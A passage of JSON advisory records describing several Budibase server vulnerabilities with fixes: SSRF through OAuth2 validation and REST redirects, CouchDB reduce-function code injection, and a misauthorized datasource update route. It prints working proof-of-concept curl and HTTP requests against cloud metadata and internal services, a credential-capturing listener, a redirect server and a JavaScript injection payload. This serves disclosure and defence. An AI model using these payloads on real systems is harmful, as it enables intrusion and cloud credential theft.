target.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-12T18:27:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-cv96-5348-p5p8","https://nvd.nist.gov/vuln/detail/CVE-2026-48148","https://github.com/advisories/GHSA-cv96-5348-p5p8"],"source_kind":"github","identifiers":["GHSA-cv96-5348-p5p8","CVE-2026-48148"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T19:00:08.384Z","updated_at":"2026-08-28T13:01:43.967Z","epss_percentage":0.00226,"epss_percentile":0.13139,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjk2LTUzNDgtcDVwOM4ABYm-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjk2LTUzNDgtcDVwOM4ABYm-","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.35.3","vulnerable_version_range":"\u003c 3.35.3"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjk2LTUzNDgtcDVwOM4ABYm-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNnF4LWc0cHItOTJ2N84ABYmp","url":"https://github.com/advisories/GHSA-g6qx-g4pr-92v7","title":"Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection","description":"### Summary\n\nThe OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.\n\nA user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.\n\n### Details\n\n**Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**\n\n```typescript\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!\n  // ...\n}\n```\n\n**Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:**\n\n```typescript\nexport async function fetchWithBlacklist(url: string, opts?: RequestInit) {\n  await blacklist.isBlacklisted(url)  // Checks against internal IPs\n  const response = await fetch(url, { ...opts, redirect: \"manual\" })\n  // Re-checks every redirect target\n}\n```\n\n**Where `fetchWithBlacklist` IS used (consistency gap proof):**\n- `automations/steps/discord.ts` — Discord webhook\n- `automations/steps/slack.ts` — Slack webhook\n- `automations/steps/make.ts` — Make.com integration\n- `automations/steps/n8n.ts` — n8n integration\n- `automations/steps/zapier.ts` — Zapier integration\n- `automations/steps/outgoingWebhook.ts` — Custom webhooks\n- Plugin download (GitHub, NPM)\n- Object store tarball downloads\n\n**Where it is NOT used:**\n- `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY**\n\n### PoC\n\n```bash\n# 1. Start SSRF listener\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get('Content-Length', 0))\n        body = self.rfile.read(length)\n        print(f'SSRF: {self.path} | Body: {body.decode()}')\n        self.send_response(200)\n        self.send_header('Content-Type','application/json')\n        self.end_headers()\n        self.wfile.write(b'{\\\"access_token\\\":\\\"x\\\",\\\"token_type\\\":\\\"bearer\\\"}')\nhttp.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()\n\" \u0026\n\n# 2. As builder, validate OAuth2 config pointing to internal service\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://127.0.0.1:9999/ssrf\",\"clientId\":\"test\",\"clientSecret\":\"test\"}'\n\n# Result: Listener captures POST with Authorization: Basic header containing credentials\n# The client_id and client_secret are leaked to the attacker-controlled URL\n\n# 3. Access internal CouchDB\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://127.0.0.1:5984/_all_dbs\",\"clientId\":\"x\",\"clientSecret\":\"x\"}'\n\n# Result: {\"valid\":false,\"message\":\"Unauthorized\"} — confirms CouchDB is reachable\n\n# 4. Access AWS metadata (in cloud deployments)\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"x\",\"clientSecret\":\"x\"}'\n```\n\n### Additional SSRF Vector: REST Integration Redirect Bypass\n\nThe REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: \"follow\"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.\n\n**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: \"manual\"` and re-checks every redirect target.\n\n### Impact\n\n- **Internal service access** — CouchDB (default port 5984), Redis, internal APIs\n- **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254\n- **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL\n- **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)\n\n### Remediation\n\nReplace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:\n\n```typescript\nimport { fetchWithBlacklist } from \"@budibase/backend-core/utils\"\n\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetchWithBlacklist(config.url, fetchConfig)\n  // ...\n}\n```\n\nAlso fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-12T15:08:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7","https://nvd.nist.gov/vuln/detail/CVE-2026-48146","https://github.com/advisories/GHSA-g6qx-g4pr-92v7"],"source_kind":"github","identifiers":["GHSA-g6qx-g4pr-92v7","CVE-2026-48146"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T16:00:08.485Z","updated_at":"2026-06-22T18:00:27.038Z","epss_percentage":0.00217,"epss_percentile":0.11931,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNnF4LWc0cHItOTJ2N84ABYmp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNnF4LWc0cHItOTJ2N84ABYmp","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNnF4LWc0cHItOTJ2N84ABYmp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNjN3LWh2d2gtdzdtNs4ABXBW","url":"https://github.com/advisories/GHSA-363w-hvwh-w7m6","title":"Budibase: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API ","description":"# Security Advisory: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API\n\n**Affected Software:** Budibase\n**Affected Component:** `packages/server/src/api/controllers/view/viewBuilder.ts`, `packages/server/src/api/routes/view.ts`\n**CWE:** CWE-94 (Improper Control of Generation of Code)\n**Discovery Date:** 2026-03-24\n\n---\n\n## Summary\n\nThe V1 Views API (`POST /api/views`) accepts a `calculation` parameter from the request body that is interpolated directly into a CouchDB reduce function definition without validation. Although an internal `SCHEMA_MAP` object defines the valid calculation types (`sum`, `count`, `stats`), no actual validation is performed against this map before the value is used in string interpolation.\n\nA user with Builder permissions can inject arbitrary JavaScript code that will be executed within the CouchDB JavaScript engine when the view is queried.\n\n---\n\n## Affected Component\n\n**Route:** `POST /api/views` (V1 legacy views endpoint)\n**File:** `packages/server/src/api/routes/view.ts`, line 45\n\n```js\n.post(\"/api/views\", viewController.v1.save)\n```\n\nNote: This route has no Joi request body validator, unlike the V2 views endpoint which uses `viewValidator()`.\n\n**Vulnerable code:** `packages/server/src/api/controllers/view/viewBuilder.ts`, line 213\n\n```js\nconst reduction = field \u0026\u0026 calculation ? { reduce: `_${calculation}` } : {}\n\nreturn {\n  meta: { field, tableId, groupBy, filters, schema, calculation, ... },\n  map: `function (doc) { ... }`,\n  ...reduction,    // \u003c-- unvalidated calculation string becomes CouchDB reduce\n}\n```\n\n---\n\n## Vulnerability Detail\n\nThe `viewBuilder` function constructs a CouchDB design document view definition. It correctly sanitizes all inputs that flow into the `map` function string (using `JSON.stringify` for field names and a strict `TOKEN_MAP` allowlist for filter operators).\n\nHowever, the `calculation` parameter follows a different path:\n\n1. User submits `calculation` via `POST /api/views` request body\n2. No Joi validator is present on this V1 route\n3. `viewBuilder` receives `calculation` as a raw string\n4. It is interpolated as: `` reduce: `_${calculation}` ``\n5. This reduce definition is saved to a CouchDB design document\n6. When the view is queried, CouchDB evaluates the reduce value\n\nCouchDB's behavior for reduce functions:\n- Values starting with `_` followed by a known built-in (`_sum`, `_count`, `_stats`) are executed as native reducers\n- Any other value is treated as a **JavaScript function string** and executed in CouchDB's SpiderMonkey JS engine\n\nThe `SCHEMA_MAP` object in the same file defines `sum`, `count`, and `stats` as valid keys, but this map is only used for schema construction — it is never used as an input validator for the `calculation` parameter.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites:** Authenticated session with Builder role permissions.\n\n**1. Send a crafted view creation request:**\n\n```bash\ncurl -X POST https://\u003cbudibase-instance\u003e/api/views \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: \u003cbuilder-session-cookie\u003e\" \\\n  -d '{\n    \"name\": \"test_view\",\n    \"tableId\": \"\u003cvalid-table-id\u003e\",\n    \"field\": \"amount\",\n    \"calculation\": \"stats\\\"); } function(keys,values,rereduce){ var data = \\\"\\\"; for(var i in this) { data += i + \\\"=\\\" + this[i] + \\\",\\\"; } return data; } //\"\n  }'\n```\n\n**2. Query the created view:**\n\n```bash\ncurl https://\u003cbudibase-instance\u003e/api/views/test_view?group=true \\\n  -H \"Cookie: \u003cbuilder-session-cookie\u003e\"\n```\n\n**3. Expected result:** The injected JavaScript function executes in CouchDB's JS context during reduce evaluation. The function can:\n- Enumerate objects available in the CouchDB sandbox\n- Access document data from the reduce `values` parameter\n- Return arbitrary data in the view response\n\n**Simplified test:** To verify the injection point without complex payloads:\n\n```json\n{\n  \"name\": \"calc_test\",\n  \"tableId\": \"\u003cvalid-table-id\u003e\",\n  \"field\": \"amount\",\n  \"calculation\": \"INVALID_NOT_A_BUILTIN\"\n}\n```\n\nThis produces `reduce: \"_INVALID_NOT_A_BUILTIN\"`. CouchDB will reject this as neither a valid built-in nor a valid function, confirming that arbitrary strings reach the reduce evaluator.\n\n---\n\n## Impact\n\n- **Code execution:** Arbitrary JavaScript runs in CouchDB's SpiderMonkey sandbox\n- **Data access:** The reduce function receives all matching document values, allowing data exfiltration across the database\n- **Scope limitation:** CouchDB's JS sandbox prevents filesystem or network access — this is not OS-level RCE\n- **Authentication required:** Attacker must have Builder role, which already grants significant application access\n- **Persistence:** The injected reduce function persists in the design document and executes on every view query\n\n---\n\n## Recommended Fix\n\nAdd an allowlist validation in `viewBuilder` before the reduce interpolation:\n\n```typescript\nconst VALID_CALCULATIONS = [\"sum\", \"count\", \"stats\"];\n\nif (calculation \u0026\u0026 !VALID_CALCULATIONS.includes(calculation)) {\n  throw new Error(`Invalid calculation type: ${calculation}`);\n}\n\nconst reduction = field \u0026\u0026 calculation ? { reduce: `_${calculation}` } : {};\n```\n\nAdditionally, add a Joi validator to the V1 views route to match the V2 endpoint:\n\n```typescript\n// In packages/server/src/api/routes/view.ts\n.post(\"/api/views\", v1ViewValidator(), viewController.v1.save)\n```\n\n---\n\n## Additional Context\n\nThe V2 views API (`POST /api/v2/views`) uses `viewValidator()` with Joi schema validation and a separate calculation handling path. This finding is specific to the V1 legacy endpoint which lacks equivalent input validation.\n\nThe `map` function string in the same code is properly protected — all user inputs reaching it are escaped via `JSON.stringify()` or validated against a strict `TOKEN_MAP` allowlist. Only the `reduce` path is affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-18T17:47:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-363w-hvwh-w7m6","https://github.com/Budibase/budibase/releases/tag/3.38.1","https://nvd.nist.gov/vuln/detail/CVE-2026-45719","https://github.com/advisories/GHSA-363w-hvwh-w7m6"],"source_kind":"github","identifiers":["GHSA-363w-hvwh-w7m6","CVE-2026-45719"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-18T18:00:17.573Z","updated_at":"2026-06-26T02:00:49.076Z","epss_percentage":0.00263,"epss_percentile":0.17553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNjN3LWh2d2gtdzdtNs4ABXBW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNjN3LWh2d2gtdzdtNs4ABXBW","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.38.1","vulnerable_version_range":"\u003c 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNjN3LWh2d2gtdzdtNs4ABXBW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NG0yLWNyaDctZjRxMs4ABW9A","url":"https://github.com/advisories/GHSA-44m2-crh7-f4q2","title":"Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL","description":"## Summary\n\nBudibase exposes a REST API for datasource management. The route `PUT /api/datasources/:datasourceId` is registered in the `authorizedRoutes` group with `TABLE/READ` permission. This is the same authorization level as the read endpoint (`GET /api/datasources/:datasourceId`). Every authenticated Budibase app user with the `BASIC` built-in role or higher carries `TABLE/WRITE` (and therefore `TABLE/READ`) permissions, and the datasource update controller performs no additional builder check.\n\nAs a result, any authenticated non-builder app user can submit a `PUT` request to rewrite a datasource's `config` object — including the connection `host`, `port`, database credentials, or the base `url` of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.\n\n## Code evidence\n\n### Route registration — wrong authorization group\n\n```\npackages/server/src/api/routes/datasource.ts, line 35-37\n```\n\n```typescript\nauthorizedRoutes\n  .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n  .put(\"/api/datasources/:datasourceId\", datasourceController.update)   // \u003c-- should be builderRoutes\n```\n\nAll destructive (create/delete/verify) operations are gated behind `builderRoutes`:\n\n```typescript\nbuilderRoutes\n  .get(\"/api/datasources\", datasourceController.fetch)\n  .post(\"/api/datasources/verify\", datasourceController.verify)\n  .post(\"/api/datasources\", datasourceValidator(), datasourceController.save)\n  .delete(\"/api/datasources/:datasourceId/:revId\", datasourceController.destroy)\n```\n\nThe `update` route shares the same authorization group as the read route, not the builder group.\n\n### Authorization middleware allows BASIC-role users\n\n```\npackages/server/src/middleware/authorized.ts, lines 46-50\npackages/backend-core/src/security/permissions.ts, lines 82-90\npackages/backend-core/src/security/roles.ts, lines 162-169\n```\n\n`authorizedRoutes` is defined with `authorized(PermissionType.TABLE, PermissionLevel.READ)`.\n\nWhen `doesHaveBasePermission(TABLE, READ, rolesHierarchy)` is evaluated for a BASIC-role user:\n\n- `BASIC` role → `BuiltinPermissionID.WRITE`\n- `WRITE` permission includes `PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)`\n- `getAllowedLevels(WRITE)` returns `[WRITE, READ]`\n- Therefore `TABLE/READ` is satisfied → user is authorized\n\nBASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.\n\n### Controller performs no additional builder check\n\n```\npackages/server/src/api/controllers/datasource.ts, lines 207-255\n```\n\n```typescript\nexport async function update(ctx) {\n  const db = context.getWorkspaceDB()\n  const datasourceId = ctx.params.datasourceId\n  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard\n  await invalidateVariables(baseDatasource, ctx.request.body)\n\n  const dataSourceBody: Datasource = isBudibaseSource\n    ? { name: ..., type: ..., source: SourceName.BUDIBASE }\n    : ctx.request.body                                              // attacker-controlled config\n\n  let datasource: Datasource = {\n    ...baseDatasource,\n    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config\n  }\n\n  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted\n  ...\n}\n```\n\n### mergeConfigs does not protect non-password connection fields\n\n```\npackages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316\n```\n\n`mergeConfigs` only replaces `PASSWORD_REPLACEMENT` sentinel values back to the stored secret. Fields like `host`, `port`, `database`, `url`, `ssl` are taken from the update payload without restriction:\n\n```typescript\n// update back to actual passwords for everything else\nfor (let [key, value] of Object.entries(update.config)) {\n  if (value !== PASSWORD_REPLACEMENT) {\n    continue          // non-password fields pass through unchanged\n  }\n  ...\n}\n```\n\n## Attack scenarios\n\n### Scenario 1: SSRF via SQL driver connection redirection\n\n1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   Host: target\n   Authorization: Bearer \u003capp-user-token\u003e\n   Content-Type: application/json\n\n   {\n     \"config\": {\n       \"host\": \"169.254.169.254\",\n       \"port\": 5432,\n       \"database\": \"postgres\",\n       \"user\": \"postgres\",\n       \"password\": \"PASSWORD_REPLACEMENT\"\n     }\n   }\n   ```\n3. Datasource config is persisted with `host: 169.254.169.254`.\n4. Any subsequent query execution against this datasource (`POST /api/queries/execute`) causes Budibase's PostgreSQL driver to open a TCP connection to `169.254.169.254:5432` on the internal network.\n5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.\n\n### Scenario 2: SSRF via REST datasource URL change\n\n1. Same setup with a REST datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   ...\n   {\n     \"config\": {\n       \"url\": \"http://169.254.169.254/latest/meta-data/\"\n     }\n   }\n   ```\n3. If the `IMPORT_IP_DENY_LIST` equivalent for Budibase's REST connector is not configured, the fetch proceeds and the response is visible in query results.\n4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).\n\n### Scenario 3: Datasource disruption / DoS\n\nAn attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.\n\n## Minimal PoC shape\n\n```http\nPUT /api/datasources/\u003ctarget_datasource_id\u003e HTTP/1.1\nHost: \u003cbudibase-host\u003e\nAuthorization: Bearer \u003cbasic-user-access-token\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"Modified\",\n  \"source\": \"POSTGRES\",\n  \"type\": \"datasource\",\n  \"config\": {\n    \"host\": \"169.254.169.254\",\n    \"port\": 5432,\n    \"database\": \"postgres\",\n    \"user\": \"postgres\",\n    \"password\": \"PASSWORD_REPLACEMENT\",\n    \"ssl\": false\n  }\n}\n```\n\nExpected secure behavior:\n- Return `403 Forbidden` — only builder/admin users should be allowed to update datasource configurations.\n\nObserved source behavior:\n- Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.\n\n## Impact\n\n| Dimension | Assessment |\n|---|---|\n| Privileges required | Authenticated BASIC-role app user (lowest non-public role) |\n| User interaction | None |\n| Confidentiality | High — SSRF to cloud metadata or internal services |\n| Integrity | High — overwrites datasource used by all app users |\n| Availability | High — can break all queries by injecting invalid config |\n\nInitial severity estimate: **High (CVSS ~8.1)**\n\n## Why this is distinct from known CVEs\n\n| CVE / GHSA | Root cause | Different because |\n|---|---|---|\n| CVE-2026-31818 (SSRF in REST connector) | `IMPORT_IP_DENY_LIST` not set by default | That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely |\n| GHSA-2g39-332f-68p9 (RBAC privilege escalation) | Creator role could create Admin roles | Different mechanism — role creation, not route auth bypass |\n| GHSA-gw94-hprh-4wj8 (Universal auth bypass) | `?/webhooks/trigger` param bypassed auth | Completely different attack primitive |\n| GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) | Unsanitized connection params in backup path | Different vector — this is write access to live connection config |\n\nThe root cause here is a **route-level authorization misconfiguration**: `PUT /api/datasources/:id` is registered in the wrong endpoint group (`authorizedRoutes` vs `builderRoutes`).\n\n## Fix direction\n\nMove the `PUT /api/datasources/:datasourceId` route from `authorizedRoutes` to `builderRoutes`:\n\n```diff\n- authorizedRoutes\n-   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n-   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n\n+ authorizedRoutes\n+   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n\n+ builderRoutes\n+   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n```\n\n## Submission note\n\nCurrent state: source-confirmed candidate.\nRuntime reproduction (HTTP request against live Budibase instance) has not been executed in this session.\nBudibase has an active GHSA process — security reports via GitHub Security Advisories should receive triage within days based on historical pattern.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-15T17:59:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-44m2-crh7-f4q2","https://github.com/Budibase/budibase/releases/tag/3.38.1","https://nvd.nist.gov/vuln/detail/CVE-2026-45717","https://github.com/advisories/GHSA-44m2-crh7-f4q2"],"source_kind":"github","identifiers":["GHSA-44m2-crh7-f4q2","CVE-2026-45717"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-15T18:00:17.674Z","updated_at":"2026-08-28T13:02:11.693Z","epss_percentage":0.00251,"epss_percentile":0.16206,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NG0yLWNyaDctZjRxMs4ABW9A","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NG0yLWNyaDctZjRxMs4ABW9A","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.38.1","vulnerable_version_range":"\u003c 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NG0yLWNyaDctZjRxMs4ABW9A/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZ3F2LWpoNGctcHZnMs4ABW8_","url":"https://github.com/advisories/GHSA-fgqv-jh4g-pvg2","title":"Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration","description":"### Summary\n\nThe REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed.\n\n### Details\n\n**Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778\n\nThe `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: \"manual\"` option is set, so undici's fetch defaults to `redirect: \"follow\"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**.\n\n```typescript\n// Line 754 — blacklist check on original URL only\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"URL is blocked or could not be resolved safely.\")\n}\n\n// Line 778 — fetch follows redirects, NO re-check on redirect target\nresponse = await fetch(url, input)\n```\n\nThe automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: \"manual\"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.\n\nRelevant prior fix commits on the automation side:\n- `6cfa3bcca3` — \"fix(server): enforce outbound blacklist in webhook automation steps\"\n- `e7d47625be` — \"Fix automation webhook blacklist redirect bypass\"\n\n### PoC\n\n**Step 1 — Set up a redirect server (attacker-controlled):**\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.**\n\n**Step 3 — Preview a query:**\n\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: \u003cbudibase-instance\u003e\nContent-Type: application/json\nCookie: \u003cbuilder-session\u003e\nx-budibase-app-id: \u003capp-id\u003e\n\n{\n  \"datasourceId\": \"\u003crest-datasource-id\u003e\",\n  \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://\u003cattacker-ip\u003e:8080/\",\n    \"queryString\": \"\",\n    \"headers\": {},\n    \"bodyType\": \"none\",\n    \"requestBody\": \"\"\n  },\n  \"parameters\": [],\n  \"transformer\": \"return data\",\n  \"name\": \"ssrf-test\",\n  \"schema\": {}\n}\n```\n\n**Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:**\n\n```json\n{\n  \"rows\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"uuid\": \"a84d3353128485a22973a759df2387bc\"\n  }]\n}\n```\n\nTested and confirmed on Budibase v3.34.6 running locally with default blacklist active.\n\n### Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens.\n- **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible\n- **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected.\n- **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-15T17:53:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-fgqv-jh4g-pvg2","https://github.com/Budibase/budibase/releases/tag/3.38.1","https://nvd.nist.gov/vuln/detail/CVE-2026-45715","https://github.com/advisories/GHSA-fgqv-jh4g-pvg2"],"source_kind":"github","identifiers":["GHSA-fgqv-jh4g-pvg2","CVE-2026-45715"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-15T18:00:17.674Z","updated_at":"2026-08-28T13:02:11.695Z","epss_percentage":0.00258,"epss_percentile":0.1705,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZ3F2LWpoNGctcHZnMs4ABW8_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZ3F2LWpoNGctcHZnMs4ABW8_","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.38.1","vulnerable_version_range":"\u003c 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZ3F2LWpoNGctcHZnMs4ABW8_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycGo0LTd4MnYtd2pyZs4ABW8-","url":"https://github.com/advisories/GHSA-rpj4-7x2v-wjrf","title":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","description":"## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetch(fileUrl)  // NO blacklist check!\n  // ...\n  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses 